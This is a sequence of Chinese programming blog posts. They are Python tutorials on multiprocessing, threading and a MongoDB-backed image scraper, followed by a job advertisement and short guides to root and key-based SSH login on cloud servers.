c = Consumer(pipe[1])
p.daemon = c.daemon = True
p.start()
c.start()
p.join()
c.join()
print 'Ended!'

在这里声明了一个默认为双向的管道,然后将管道的两端分别传给两个进程。两个进程互相收发。观察一下结果:

1
2
3
Producer Received: Consumer Words
Consumer Received: Producer Words
Ended!

以上是对 pipe 的简单介绍。

Pool

在利用 Python 进行系统管理的时候,特别是同时操作多个文件目录,或者远程控制多台主机,并行操作可以节约大量的时间。当被操作对象数目不大时,可以直接利用 multiprocessing 中的 Process 动态成生多个进程,十几个还好,但如果是上百个,上千个目标,手动的去限制进程数量却又太过繁琐,此时可以发挥进程池的功效。 Pool 可以提供指定数量的进程,供用户调用,当有新的请求提交到 pool 中时,如果池还没有满,那么就会创建一个新的进程用来执行该请求;但如果池中的进程数已经达到规定最大值,那么该请求就会等待,直到池中有进程结束,才会创建新的进程来它。 在这里需要了解阻塞和非阻塞的概念。 阻塞和非阻塞关注的是程序在等待调用结果(消息,返回值)时的状态。 阻塞即要等到回调结果出来,在有结果之前,当前进程会被挂起。 Pool 的用法有阻塞和非阻塞两种方式。非阻塞即为添加进程后,不一定非要等到改进程执行完就添加其他进程运行,阻塞则相反。 现用一个实例感受一下非阻塞的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing import Lock, Pool
import time


def function(index):
print 'Start process: ', index
time.sleep(3)
print 'End process', index


if __name__ == '__main__':
pool = Pool(processes=3)
for i in xrange(4):
pool.apply_async(function, (i,))

print "Started processes"
pool.close()
pool.join()
print "Subprocess done."

在这里利用了 apply_async 方法,即非阻塞。 运行结果:

1
2
3
4
5
6
7
8
9
10
Started processes
Start process: Start process: 0
1
Start process: 2
End processEnd process 0
1
Start process: 3
End process 2
End process 3
Subprocess done.

可以发现在这里添加三个进程进去后,立马就开始执行,不用非要等到某个进程结束后再添加新的进程进去。 下面再看看阻塞的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing import Lock, Pool
import time


def function(index):
print 'Start process: ', index
time.sleep(3)
print 'End process', index


if __name__ == '__main__':
pool = Pool(processes=3)
for i in xrange(4):
pool.apply(function, (i,))

print "Started processes"
pool.close()
pool.join()
print "Subprocess done."

在这里只需要把 apply_async 改成 apply 即可。 运行结果如下:

1
2
3
4
5
6
7
8
9
10
Start process:  0
End process 0
Start process: 1
End process 1
Start process: 2
End process 2
Start process: 3
End process 3
Started processes
Subprocess done.

这样一来就好理解了吧? 下面对函数进行解释: apply_async(func[, args[, kwds[, callback]]]) 它是非阻塞,apply(func[, args[, kwds]])是阻塞的。 close() 关闭 pool,使其不在接受新的任务。 terminate() 结束工作进程,不在处理未完成的任务。 join() 主进程阻塞,等待子进程的退出, join 方法要在 close 或 terminate 之后使用。 当然每个进程可以在各自的方法返回一个结果。apply 或 apply_async 方法可以拿到这个结果并进一步进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from multiprocessing import Lock, Pool
import time


def function(index):
print 'Start process: ', index
time.sleep(3)
print 'End process', index
return index

if __name__ == '__main__':
pool = Pool(processes=3)
for i in xrange(4):
result = pool.apply_async(function, (i,))
print result.get()
print "Started processes"
pool.close()
pool.join()
print "Subprocess done."

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Start process:  0
End process 0
0
Start process: 1
End process 1
1
Start process: 2
End process 2
2
Start process: 3
End process 3
3
Started processes
Subprocess done.

另外还有一个非常好用的 map 方法。 如果你现在有一堆数据要处理,每一项都需要经过一个方法来处理,那么 map 非常适合。 比如现在你有一个数组,包含了所有的 URL,而现在已经有了一个方法用来抓取每个 URL 内容并解析,那么可以直接在 map 的第一个参数传入方法名,第二个参数传入 URL 数组。 现在我们用一个实例来感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from multiprocessing import Pool
import requests
from requests.exceptions import ConnectionError


def scrape(url):
try:
print requests.get(url)
except ConnectionError:
print 'Error Occured ', url
finally:
print 'URL ', url, ' Scraped'


if __name__ == '__main__':
pool = Pool(processes=3)
urls = [
'https://www.baidu.com',
'http://www.meituan.com/',
'http://blog.csdn.net/',
'http://xxxyxxx.net'
]
pool.map(scrape, urls)

在这里初始化一个 Pool,指定进程数为 3,如果不指定,那么会自动根据 CPU 内核来分配进程数。 然后有一个链接列表,map 函数可以遍历每个 URL,然后对其分别执行 scrape 方法。 运行结果:

1
2
3
4
5
6
7
8
<Response [403]>
URL http://blog.csdn.net/ Scraped
<Response [200]>
URL https://www.baidu.com Scraped
Error Occured http://xxxyxxx.net
URL http://xxxyxxx.net Scraped
<Response [200]>
URL http://www.meituan.com/ Scraped

可以看到遍历就这么轻松地实现了。

结语

多进程 multiprocessing 相比多线程功能强大太多,而且使用范围更广,希望本文对大家有帮助!

本文参考

https://docs.python.org/2/library/multiprocessing.html http://www.cnblogs.com/vamei/archive/2012/10/12/2721484.html http://www.cnblogs.com/kaituorensheng/p/4445418.html https://my.oschina.net/yangyanxing/blog/296052

Python

QQ图片20161022193315 好了!开头要说点啥,我想你们已经知道了! QQ图片20161021224219 没错!我又来装逼了·· 前面两篇博文,不知道大家消化得怎么了。不知道各位有没注意到,前面两篇博文完成的工作,只能保证下载;你电脑不能关机,不能断网,总之不能出意外!否则啊!!! !!!!你就得重头开始啊!!!! 20160124759183737 今天,我们来想想办法让它不重头下载;我们来记录我们已经下载过的地址!ヾ(@⌒ ー ⌒@)ノ这样就可以实现不重新下载啦! 本来刚开始我是准备用本地 txt 来记录的,不过仔细一想用本地 txt 逼格不够啊!要不用 MySQL 吧!然后我自己就用了 MySQL。 QQ图片20161102215153 然而你以为我会在这教程里面用 MySQL 嘛!哈哈哈!我们来用 MongoDB!!这数据库最近很火啊!逼格直线提升啊!哈哈哈!点我去官网下载 安装 mongoDB: 123 在 C 盘建一个用来存储数据的文件夹 MongoDB; 创建以下两个目录: C:\data\log\mongod.log 存储日志 C:\data\db 存储数据 在 C:\MongoDB 文件夹下面创建一个 mongod.cfg 的配置文件写入以下配置: 一定要取消隐藏后缀名,不然更改不会生效!

1
2
3
4
5
systemLog:
destination: file
path: C:\data\log\mongod.log
storage:
dbPath: C:\data\db

在管理员权限的 cmd 中执行以下命令将 mongoDB 安装成服务:

1
"C:\mongodb\bin\mongod.exe" --config "C:\mongodb\mongod.cfg" --install

安装服务 上面两张图片是 GIF 点击是可以看到过程的哦!!!ヾ(=゚・゚=)ノ喵 ♪ 服务器安装完了,CMD 启动一下: 验证是否安装成功 搞定! 好啦!数据库装完了,我们来接着上一篇博文的内容继续啦! 保险起见建议大家还是看一下 MongoDB 的基础(只需要知道那些命令是做了啥,这样就好啦!) 首先我们我们这一次需要一个模块 PyMongo;这是 Python 用来操作 MongoDB 的模块,不要担心使用起来很简单的!

1
pip install PyMongo

现在我们在上一篇博文完成的代码中导入模块:

1
from pymongo import MongoClient

第一步: 在 class mzitu(): 下面添加这样一个函数:

1
2
3
4
5
6
7
def __init__(self):
client = MongoClient() ##与MongDB建立连接(这是默认连接本地MongDB数据库)
db = client['meinvxiezhenji'] ## 选择一个数据库
self.meizitu_collection = db['meizitu'] ##在meizixiezhenji这个数据库中,选择一个集合
self.title = '' ##用来保存页面主题
self.url = '' ##用来保存页面地址
self.img_urls = [] ##初始化一个 列表 用来保存图片地址

好啦!第一步搞定, 第二步: 我们更改一下 def all_url 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def all_url(self, url):
html = down.get(url, 3)
all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
self.title = title ##将主题保存到self.title中
print(u'开始保存:', title)
path = str(title).replace("?", '_')
self.mkdir(path)
os.chdir("D:\mzitu\\"+path)
href = a['href']
self.url = href ##将页面地址保存到self.url中
if self.meizitu_collection.find_one({'主题页面': href}): ##判断这个主题是否已经在数据库中、不在就运行else下的内容,在则忽略。
print(u'这个页面已经爬取过了')
else:
self.html(href)

第三步: 我们来改一下 def html 这个函数:

1
2
3
4
5
6
7
8
def html(self, href):
html = down.get(href, 3)
max_span = BeautifulSoup(html.text, 'lxml').find_all('span')[10].get_text()
page_num = 0 ##这个当作计数器用 (用来判断图片是否下载完毕)
for page in range(1, int(max_span) + 1):
page_num = page_num + 1 ##每for循环一次就+1 (当page_num等于max_span的时候,就证明我们的在下载最后一张图片了)
page_url = href + '/' + str(page)
self.img(page_url, max_span, page_num) ##把上面我们我们需要的两个变量,传递给下一个函数。

第四步: 我们来改一下 def img 这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def img(self, page_url, max_span, page_num): ##添加上面传递的参数
img_html = down.get(page_url, 3)
img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
self.img_urls.append(img_url) ##每一次 for page in range(1, int(max_span) + 1)获取到的图片地址都会添加到 img_urls这个初始化的列表
if int(max_span) == page_num: ##我们传递下来的两个参数用上了 当max_span和Page_num相等时,就是最后一张图片了,最后一次下载图片并保存到数据库中。
self.save(img_url)
post = { ##这是构造一个字典,里面有啥都是中文,很好理解吧!
'标题': self.title,
'主题页面': self.url,
'图片地址': self.img_urls,
'获取时间': datetime.datetime.now()
}
self.meizitu_collection.save(post) ##将post中的内容写入数据库。
print(u'插入数据库成功')
else: ##max_span 不等于 page_num执行这下面
self.save(img_url)

self.meizitu_collection.save(post) 这个是怎么来的我要说一下,可能有点迷糊: def init(self): 函数中: client = MongoClient() db = client[‘meinvxiezhenji’] self.meizitu_collection = db[‘meizitu’] 所以意思就是:在 meizixiezhenji 这个数据库中的 meizitu 这个集合保存 post 这个字典里面的数据哦!这么解释懂了吧?ヾ(@⌒ ー ⌒@)ノ QQ图片20161021223818 好了、一个可以实现去重的爬虫就实现了!φ(゜ ▽ ゜*)♪ 是不是好简单 哈哈哈 顺带还存储了一堆信息(才不会告诉你们这才是我需要的呢) 好了 完整的代码贴上来了! PS:需要先说一下 MongDB 是不需要先建数据库和集合的,会自动判断 存在则直接写入数据,不存在 则先创建需要的数据库和集合,再写入数据(是不是超爽?哈哈哈)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from bs4 import BeautifulSoup
import os
from Download import down ##导入模块变了一下
from pymongo import MongoClient
import datetime

class mzitu():

def __init__(self):
client = MongoClient() ##与MongDB建立连接(这是默认连接本地MongDB数据库)
db = client['meinvxiezhenji'] ## 选择一个数据库
self.meizitu_collection = db['meizitu'] ##在meizixiezhenji这个数据库中,选择一个集合
self.title = '' ##用来保存页面主题
self.url = '' ##用来保存页面地址
self.img_urls = [] ##初始化一个 列表 用来保存图片地址

def all_url(self, url):
html = down.get(url, 3)
all_a = BeautifulSoup(html.text, 'lxml').find('div', class_='all').find_all('a')
for a in all_a:
title = a.get_text()
self.title = title ##将主题保存到self.title中
print(u'开始保存:', title)
path = str(title).replace("?", '_')
self.mkdir(path)
os.chdir("D:\mzitu\\"+path)
href = a['href']
self.url = href ##将页面地址保存到self.url中
if self.meizitu_collection.find_one({'主题页面': href}): ##判断这个主题是否已经在数据库中、不在就运行else下的内容,在则忽略。
print(u'这个页面已经爬取过了')
else:
self.html(href)

def html(self, href):
html = down.get(href, 3)
max_span = BeautifulSoup(html.text, 'lxml').find_all('span')[10].get_text()
page_num = 0 ##这个当作计数器用 (用来判断图片是否下载完毕)
for page in range(1, int(max_span) + 1):
page_num = page_num + 1 ##每for循环一次就+1 (当page_num等于max_span的时候,就证明我们的在下载最后一张图片了)
page_url = href + '/' + str(page)
self.img(page_url, max_span, page_num) ##把上面我们我们需要的两个变量,传递给下一个函数。

def img(self, page_url, max_span, page_num): ##添加上面传递的参数
img_html = down.get(page_url, 3)
img_url = BeautifulSoup(img_html.text, 'lxml').find('div', class_='main-image').find('img')['src']
self.img_urls.append(img_url) ##每一次 for page in range(1, int(max_span) + 1)获取到的图片地址都会添加到 img_urls这个初始化的列表
if int(max_span) == page_num: ##我们传递下来的两个参数用上了 当max_span和Page_num相等时,就是最后一张图片了,最后一次下载图片并保存到数据库中。
self.save(img_url)
post = { ##这是构造一个字典,里面有啥都是中文,很好理解吧!
'标题': self.title,
'主题页面': self.url,
'图片地址': self.img_urls,
'获取时间': datetime.datetime.now()
}
self.meizitu_collection.save(post) ##将post中的内容写入数据库。
print(u'插入数据库成功')
else: ##max_span 不等于 page_num执行这下面
self.save(img_url)


def save(self, img_url):
name = img_url[-9:-4]
print(u'开始保存:', img_url)
img = down.get(img_url, 3)
f = open(name + '.jpg', 'ab')
f.write(img.content)
f.close()

def mkdir(self, path):
path = path.strip()
isExists = os.path.exists(os.path.join("D:\mzitu", path))
if not isExists:
print(u'建了一个名字叫做', path, u'的文件夹!')
os.makedirs(os.path.join("D:\mzitu", path))
return True
else:
print(u'名字叫做', path, u'的文件夹已经存在了!')
return False




Mzitu = mzitu() ##实例化
Mzitu.all_url('http://www.mzitu.com/all') ##给函数all_url传入参数 你可以当作启动爬虫(就是入口)

Python

2022 年最新 Python3 网络爬虫教程

大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

教程请移步:

【2022 版】Python3 网络爬虫学习教程

如下为原文。

前言

我们之前写的爬虫都是单个线程的?这怎么够?一旦一个地方卡到不动了,那不就永远等待下去了?为此我们可以使用多线程或者多进程来处理。 首先声明一点! 多线程和多进程是不一样的!一个是 thread 库,一个是 multiprocessing 库。而多线程 thread 在 Python 里面被称作鸡肋的存在!而没错!本节介绍的是就是这个库 thread。 不建议你用这个,不过还是介绍下了,如果想看可以看看下面,不想浪费时间直接看 multiprocessing 多进程

鸡肋点

名言:

“Python下多线程是鸡肋,推荐使用多进程!”

那当然有同学会问了,为啥?

背景

1、GIL是什么? GIL的全称是Global Interpreter Lock(全局解释器锁),来源是python设计之初的考虑,为了数据安全所做的决定。 2、每个CPU在同一时间只能执行一个线程(在单核CPU下的多线程其实都只是并发,不是并行,并发和并行从宏观上来讲都是同时处理多路请求的概念。但并发和并行又有区别,并行是指两个或者多个事件在同一时刻发生;而并发是指两个或多个事件在同一时间间隔内发生。) 在Python多线程下,每个线程的执行方式:

  • 获取GIL
  • 执行代码直到sleep或者是python虚拟机将其挂起。
  • 释放GIL

可见,某个线程想要执行,必须先拿到GIL,我们可以把GIL看作是“通行证”,并且在一个python进程中,GIL只有一个。拿不到通行证的线程,就不允许进入CPU执行。 在Python2.x里,GIL的释放逻辑是当前线程遇见IO操作或者ticks计数达到100(ticks可以看作是Python自身的一个计数器,专门做用于GIL,每次释放后归零,这个计数可以通过 sys.setcheckinterval 来调整),进行释放。 而每次释放GIL锁,线程进行锁竞争、切换线程,会消耗资源。并且由于GIL锁存在,python里一个进程永远只能同时执行一个线程(拿到GIL的线程才能执行),这就是为什么在多核CPU上,python的多线程效率并不高。

那么是不是python的多线程就完全没用了呢?

在这里我们进行分类讨论: 1、CPU密集型代码(各种循环处理、计数等等),在这种情况下,由于计算工作多,ticks计数很快就会达到阈值,然后触发GIL的释放与再竞争(多个线程来回切换当然是需要消耗资源的),所以python下的多线程对CPU密集型代码并不友好。 2、IO密集型代码(文件处理、网络爬虫等),多线程能够有效提升效率(单线程下有IO操作会进行IO等待,造成不必要的时间浪费,而开启多线程能在线程A等待时,自动切换到线程B,可以不浪费CPU的资源,从而能提升程序执行效率)。所以python的多线程对IO密集型代码比较友好。 而在python3.x中,GIL不使用ticks计数,改为使用计时器(执行时间达到阈值后,当前线程释放GIL),这样对CPU密集型程序更加友好,但依然没有解决GIL导致的同一时间只能执行一个线程的问题,所以效率依然不尽如人意。

多核性能

多核多线程比单核多线程更差,原因是单核下多线程,每次释放GIL,唤醒的那个线程都能获取到GIL锁,所以能够无缝执行,但多核下,CPU0释放GIL后,其他CPU上的线程都会进行竞争,但GIL可能会马上又被CPU0拿到,导致其他几个CPU上被唤醒后的线程会醒着等待到切换时间后又进入待调度状态,这样会造成线程颠簸(thrashing),导致效率更低

多进程为什么不会这样?

每个进程有各自独立的GIL,互不干扰,这样就可以真正意义上的并行执行,所以在python中,多进程的执行效率优于多线程(仅仅针对多核CPU而言)。 所以在这里说结论:多核下,想做并行提升效率,比较通用的方法是使用多进程,能够有效提高执行效率。 所以,如果不想浪费时间,可以直接看多进程。

直接利用函数创建多线程

Python中使用线程有两种方式:函数或者用类来包装线程对象。

函数式:调用thread模块中的start_new_thread()函数来产生新线程。语法如下:

1
thread.start_new_thread(function, args[, kwargs])

参数说明:

  • function - 线程函数。
  • args - 传递给线程函数的参数,他必须是个tuple类型。
  • kwargs - 可选参数。

先用一个实例感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: UTF-8 -*-

import thread
import time


# 为线程定义一个函数
def print_time(threadName, delay):
count = 0
while count < 5:
time.sleep(delay)
count += 1
print "%s: %s" % (threadName, time.ctime(time.time()))


# 创建两个线程
try:
thread.start_new_thread(print_time, ("Thread-1", 2,))
thread.start_new_thread(print_time, ("Thread-2", 4,))
except:
print "Error: unable to start thread"


while 1:
pass

print "Main Finished"

运行结果如下:

1
2
3
4
5
6
7
8
9
10
Thread-1: Thu Nov  3 16:43:01 2016
Thread-2: Thu Nov 3 16:43:03 2016
Thread-1: Thu Nov 3 16:43:03 2016
Thread-1: Thu Nov 3 16:43:05 2016
Thread-2: Thu Nov 3 16:43:07 2016
Thread-1: Thu Nov 3 16:43:07 2016
Thread-1: Thu Nov 3 16:43:09 2016
Thread-2: Thu Nov 3 16:43:11 2016
Thread-2: Thu Nov 3 16:43:15 2016
Thread-2: Thu Nov 3 16:43:19 2016

可以发现,两个线程都在执行,睡眠2秒和4秒后打印输出一段话。 注意到,在主线程写了

1
2
while 1:
pass

这是让主线程一直在等待 如果去掉上面两行,那就直接输出

1
Main Finished

程序执行结束。

使用Threading模块创建线程

使用Threading模块创建线程,直接从threading.Thread继承,然后重写init方法和run方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import threading
import time

import thread

exitFlag = 0

class myThread (threading.Thread): #继承父类threading.Thread
def __init__(self, threadID, name, counter):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.counter = counter
def run(self): #把要执行的代码写到run函数里面 线程在创建后会直接运行run函数
print "Starting " + self.name
print_time(self.name, self.counter, 5)
print "Exiting " + self.name

def print_time(threadName, delay, counter):
while counter:
if exitFlag:
thread.exit()
time.sleep(delay)
print "%s: %s" % (threadName, time.ctime(time.time()))
counter -= 1

# 创建新线程
thread1 = myThread(1, "Thread-1", 1)
thread2 = myThread(2, "Thread-2", 2)

# 开启线程
thread1.start()
thread2.start()

print "Exiting Main Thread"

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Thread-1Starting Thread-2

Exiting Main Thread
Thread-1: Thu Nov 3 18:42:19 2016
Thread-2: Thu Nov 3 18:42:20 2016
Thread-1: Thu Nov 3 18:42:20 2016
Thread-1: Thu Nov 3 18:42:21 2016
Thread-2: Thu Nov 3 18:42:22 2016
Thread-1: Thu Nov 3 18:42:22 2016
Thread-1: Thu Nov 3 18:42:23 2016
Exiting Thread-1
Thread-2: Thu Nov 3 18:42:24 2016
Thread-2: Thu Nov 3 18:42:26 2016
Thread-2: Thu Nov 3 18:42:28 2016
Exiting Thread-2

有没有发现什么奇怪的地方?打印的输出格式好奇怪。比如第一行之后应该是一个回车的,结果第二个进程就打印出来了。 那是因为什么?因为这几个线程没有设置同步。

线程同步

如果多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。 使用Thread对象的Lock和Rlock可以实现简单的线程同步,这两个对象都有acquire方法和release方法,对于那些需要每次只允许一个线程操作的数据,可以将其操作放到acquire和release方法之间。如下: 多线程的优势在于可以同时运行多个任务(至少感觉起来是这样)。但是当线程需要共享数据时,可能存在数据不同步的问题。 考虑这样一种情况:一个列表里所有元素都是0,线程”set”从后向前把所有元素改成1,而线程”print”负责从前往后读取列表并打印。 那么,可能线程”set”开始改的时候,线程”print”便来打印列表了,输出就成了一半0一半1,这就是数据的不同步。为了避免这种情况,引入了锁的概念。 锁有两种状态——锁定和未锁定。每当一个线程比如”set”要访问共享数据时,必须先获得锁定;如果已经有别的线程比如”print”获得锁定了,那么就让线程”set”暂停,也就是同步阻塞;等到线程”print”访问完毕,释放锁以后,再让线程”set”继续。 经过这样的处理,打印列表时要么全部输出0,要么全部输出1,不会再出现一半0一半1的尴尬场面。 看下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: UTF-8 -*-

import threading
import time

class myThread (threading.Thread):
def __init__(self, threadID, name, counter):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.counter = counter
def run(self):
print "Starting " + self.name
# 获得锁,成功获得锁定后返回True
# 可选的timeout参数不填时将一直阻塞直到获得锁定
# 否则超时后将返回False
threadLock.acquire()
print_time(self.name, self.counter, 3)
# 释放锁
threadLock.release()

def print_time(threadName, delay, counter):
while counter:
time.sleep(delay)
print "%s: %s" % (threadName, time.ctime(time.time()))
counter -= 1

threadLock = threading.Lock()
threads = []

# 创建新线程
thread1 = myThread(1, "Thread-1", 1)
thread2 = myThread(2, "Thread-2", 2)

# 开启新线程
thread1.start()
thread2.start()

# 添加线程到线程列表
threads.append(thread1)
threads.append(thread2)

# 等待所有线程完成
for t in threads:
t.join()

print "Exiting Main Thread"

在上面的代码中运用了线程锁还有join等待。 运行结果如下:

1
2
3
4
5
6
7
8
9
Starting Thread-1
Starting Thread-2
Thread-1: Thu Nov 3 18:56:49 2016
Thread-1: Thu Nov 3 18:56:50 2016
Thread-1: Thu Nov 3 18:56:51 2016
Thread-2: Thu Nov 3 18:56:53 2016
Thread-2: Thu Nov 3 18:56:55 2016
Thread-2: Thu Nov 3 18:56:57 2016
Exiting Main Thread

这样一来,你可以发现就不会出现刚才的输出混乱的结果了。

线程优先级队列

Python的Queue模块中提供了同步的、线程安全的队列类,包括FIFO(先入先出)队列Queue,LIFO(后入先出)队列LifoQueue,和优先级队列PriorityQueue。这些队列都实现了锁原语,能够在多线程中直接使用。可以使用队列来实现线程间的同步。

Queue模块中的常用方法:

  • Queue.qsize() 返回队列的大小
  • Queue.empty() 如果队列为空,返回True,反之False
  • Queue.full() 如果队列满了,返回True,反之False
  • Queue.full 与 maxsize 大小对应
  • Queue.get([block[, timeout]])获取队列,timeout等待时间
  • Queue.get_nowait() 相当Queue.get(False)
  • Queue.put(item) 写入队列,timeout等待时间
  • Queue.put_nowait(item) 相当Queue.put(item, False)
  • Queue.task_done() 在完成一项工作之后,Queue.task_done()函数向任务已经完成的队列发送一个信号
  • Queue.join() 实际上意味着等到队列为空,再执行别的操作

用一个实例感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: UTF-8 -*-

import Queue
import threading
import time

exitFlag = 0

class myThread (threading.Thread):
def __init__(self, threadID, name, q):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.q = q
def run(self):
print "Starting " + self.name
process_data(self.name, self.q)
print "Exiting " + self.name

def process_data(threadName, q):
while not exitFlag:
queueLock.acquire()
if not workQueue.empty():
data = q.get()
queueLock.release()
print "%s processing %s" % (threadName, data)
else:
queueLock.release()
time.sleep(1)

threadList = ["Thread-1", "Thread-2", "Thread-3"]
nameList = ["One", "Two", "Three", "Four", "Five"]
queueLock = threading.Lock()
workQueue = Queue.Queue(10)
threads = []
threadID = 1

# 创建新线程
for tName in threadList:
thread = myThread(threadID, tName, workQueue)
thread.start()
threads.append(thread)
threadID += 1

# 填充队列
queueLock.acquire()
for word in nameList:
workQueue.put(word)
queueLock.release()

# 等待队列清空
while not workQueue.empty():
pass

# 通知线程是时候退出
exitFlag = 1

# 等待所有线程完成
for t in threads:
t.join()
print "Exiting Main Thread"

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
Starting Thread-1
Starting Thread-2
Starting Thread-3
Thread-3 processing One
Thread-1 processing Two
Thread-2 processing Three
Thread-3 processing Four
Thread-2 processing Five
Exiting Thread-2
Exiting Thread-3
Exiting Thread-1
Exiting Main Thread

上面的例子用了FIFO队列。当然你也可以换成其他类型的队列。

参考文章

  1. http://bbs.51cto.com/thread-1349105-1.html

  2. http://www.runoob.com/python/python-multithreading.html

职位推荐

Hi,爬虫学习得还不错吧? 做了这么久的爬虫,想不想找一份充分施展才华的工作?博主最近去参观了一下百观科技,在北京,感觉非常不错,公司人也超级好!不过博主现在还在念书,现在还不能去啦~ 在这里将职位推荐给大家,如果你对爬虫非常感兴趣,那么强烈推荐你来!待遇丰厚着呢~

关于百观

百观Lab是一个年轻开放,硅谷风格的金融数据技术公司,致力于给全球投资机构抓取、分析、可视化非常规数据的产品。我们的客户将是管理规模一亿美金以上的国际投资机构,涉及的投资决策上千万美金。百观已获得真格基金、金沙江合伙人等百万美金天使投资。 公司官网 相关新闻

公司待遇

为了做出最棒的产品,公司需要同样充满好奇心,技艺高超的小伙伴。我们提供:

  • BAT同等级待遇
  • 股权激励
  • 超棒的办公环境,紧邻雍和宫五道营 # 我们也不喜欢西二旗
  • 弹性工作制 # 我们也不相信996
  • 有趣的同事
  • 和百观技术顾问团交流学习的机会(百度机器学习T9, 前豌豆荚资深架构师,斯坦福AI博士等)
  • MacBook Pro,零食饮料,免费午餐
  • 免费口罩,北京嘛…

职位

数据工程师

职责:

  • 探索并实践前沿爬虫技术与存储技术
  • 分布式爬虫系统的开发,维护,与优化

要求:

  • 热爱技术,对解决具有挑战性问题富有激情,学习能力和求知欲强
  • 具备强悍的编码能力,内功扎实
  • 熟悉linux开发环境,熟悉python,毕竟life is short
  • 有过分布式爬虫开发经验,熟悉多线程、网络通信、代理池等相关概念;熟悉scrapy+redis/pyspider/mongodb者优先
  • 可提供Github/OSChina/StackOverflow/V2EX/知乎/csdn等id的优先
  • 一线大学计算机或相关专业
  • 阅读英文技术文档无障碍

简历投递

简历投递至 ted@baiguanlab.com 微信联系 cdfcdf789 有意向的赶快发简历加微信啦~

Other

需求分析

有需求才有动力! 腾讯云有个比较坑的地方,Ubuntu 的机子必须要用 ubuntu 账号来登录,给我的统一管理带来了很大的麻烦。 在这里我想把它的账号名称改成 root 来统一登录。

步骤

首先用 ubuntu 账号登录主机。 然后输入

1
sudo passwd root

在这里会首先提示你输入 ubuntu 用户的账号,然后输入新设置的 root 用户的账号。在这里一共要输入三次,不过建议 root 密码和 ubuntu 密码都一样啦。 QQ20161031-1@2x 然后修改 /etc/ssh/sshd_config

1
sudo vi /etc/ssh/sshd_config

把 PermitRootLogin 修改为 yes QQ20161031-2@2x wq 保存 接下来你就可以使用 root 登录了 当然你还可以根据下面这篇文章配置免密码登录。 免密码登录

结语

本文章介绍了腾讯云 Ubuntu 系列主机配置 root 登录的方法,希望对大家有帮助。

Other

需求分析

有需求才有动力! 最近有不少服务器,但是管理起来还需要输入密码,而且有的还不一样,太麻烦了,所以就利用 SSH 配置免密码登录服务器。

流程

生成秘钥

首先在自己的电脑上生成 SSH 秘钥。

1
ssh-keygen –t rsa –P

直接回车生成秘钥对。 可以看到在 ~/ 目录找到一个 .ssh 的目录,有两个文件。 id_rsa 和 id_rsa.pub 其中一个是私钥,一个是公钥。 服务器上利用同样的方法创建,保证有一个 .ssh 目录。

复制秘钥

登录服务器后,在 .ssh 目录新建一个文件,名字叫做 authorized_keys 将刚才自己电脑上生成的公钥内容复制进去,保存。 然后进行权限设置

1
sudo chmod 600 authorized_keys

如此一来,配置就完成了。

验证

断开服务器,重新连接 ssh,发现就可以直接进入了。

Python

QQ图片20161022193315 我又来装逼了!上次教大家写了一个下载www.mzitu.com全站图片的小爬虫练手、不知道大家消化得怎么样? 大家在使用的时候会发现,跑着跑着 就断掉了!报错了啊!丢失连接之类的。幸幸苦苦的抓了半天又得从头来,心累啊! 这就是网站的反爬虫在起作用了,一个 IP 访问次数过于频繁就先将这个 IP 加入黑名单,过一会儿再放出来。虽然不影响正常使用但是对于爬虫来说很致命啊!因为爬虫会报错退出啊!然后我们又得重来,那么多妹子得重来多少次啊!(而且小爬虫不会识别哪些是爬取过的页面,哪些是没爬去的内容,会从头再来啊!很伤人啊!关于这一块儿我下一篇博文来教大家怎么办,这一篇我们还是先集中精力应付反爬虫吧! 关于反爬虫的定义:建议大家去看看这个 blog: 点我 一般来说我们会遇到网站反爬虫策略下面几点:

